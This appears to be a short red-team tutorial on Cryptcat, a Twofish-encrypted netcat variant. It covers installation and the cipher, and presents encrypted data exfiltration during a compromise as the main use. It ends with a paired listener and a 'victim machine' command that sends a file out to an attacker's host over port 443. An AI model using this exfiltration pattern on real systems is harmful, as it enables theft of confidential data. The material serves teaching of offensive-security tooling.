CryptCat

Cryptcatis the standardnetcatenhanced withtwofishencryptionwith ports for WIndows NT, BSD and Linux. Twofish is courtesy ofcounterpane, andcryptix.
Cryptcat is a simple Unix utility which reads and writes data across network connections, using
TCPorUDPprotocol whileencryptingthe data being transmitted. It is designed to be a reliable"back-end"tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich networkdebuggingand exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities.
Secure Transfer
There are several reasons why we should use
Cryptcat, one of them is because of itsTwoFishcipher developed byCounterpane Labs.
As you can imagine, in a
red teamcompromise, you may encounterprivate/confidentialdata, which can be ofmuchvalue to a red team (not to mention cybercriminals), when doingdata exfiltration, you have to besureof how you are going to operate, you have to keep in mind that there may also be a third partyinterceptingyour connection, A perfect reference is when you useTunnelShellto create a covert channel, you are notencryptingany kind of connection, if somehow, some third party manages to find that connection, they couldmonitoryou andstealyour data at the same time you do theexfiltration, which would be devastating. That is why cryptography is used in any kind of connection.
TwoFish
Twofish is a
symmetriccryptography method withblockencryption. The block size in Twofish is128 bitsand the key size can go up to256 bits.
Designed by
Bruce Schneier,John Kelsey,Doug Withing,David Wagner,Chris HallandNiels Ferguson.
The distinguishing features of Twofish are the use of
precomputedS-boxeswithdependentkeys and a relatively complexkey-schedule.
Install
sudo apt-get update
sudo apt-get install cryptcat
CryptCat Usage
Now let’s see how to use Cryptcat, for this example we will simply transfer a file.

Attacker Machine
cryptcat -l -p 443 -n > file
Victim Mahcine
cryptcat <ip> 443 < file
-l/ listen mode, for inbound connects
-P/ local port number
-n/ numeric-only IP addresses, no DNS